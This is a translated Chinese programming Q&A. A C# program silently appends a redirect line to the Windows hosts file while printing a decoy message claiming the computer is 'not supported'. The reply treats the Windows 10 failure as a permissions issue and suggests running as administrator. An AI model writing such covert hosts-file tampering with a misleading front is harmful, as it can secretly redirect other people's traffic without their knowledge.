我有这段代码:
using System;
using System.IO;
using System.Net;
using System.Net.Mail;
namespace Nameddd
{
class Program
{
static void Main(string[] args)
{
Hosts();
Console.WriteLine("Loading..");
Console.WriteLine("Your computer is not supported");
Console.ReadKey();
}
static void Hosts()
{
{
using (StreamWriter w = File.AppendText(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers/etc/hosts")))
{
w.WriteLine("SOME_IP domain.com");
}
}
这个程序对我有用,但显然并不适用于所有系统。我在Windows 10上使用了VS 2015社区。在另一台计算机上我的朋友(使用Windows 7) - 也在工作。
但是对于使用Windows 10的人来说,它无法正常工作。应用程序没有运行,“加载游标” - 就是这样。如果我正在尝试删除.exe,它会显示一个消息框,其中包含“正在运行的进程”文本。
答案 0 :(得分:0)
确保以管理员身份运行代码或可执行文件 。 您可能打开了该文件,但无法将更改保存到代码失败的朋友的文件中。
来自here的其他帖子您可以这样检查:
using System.Security.Principal;
public bool IsUserAdministrator()
{
bool isAdmin;
try
{
WindowsIdentity user = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(user);
isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
}
catch (UnauthorizedAccessException ex)
{
isAdmin = false;
}
catch (Exception ex)
{
isAdmin = false;
}
return isAdmin;
}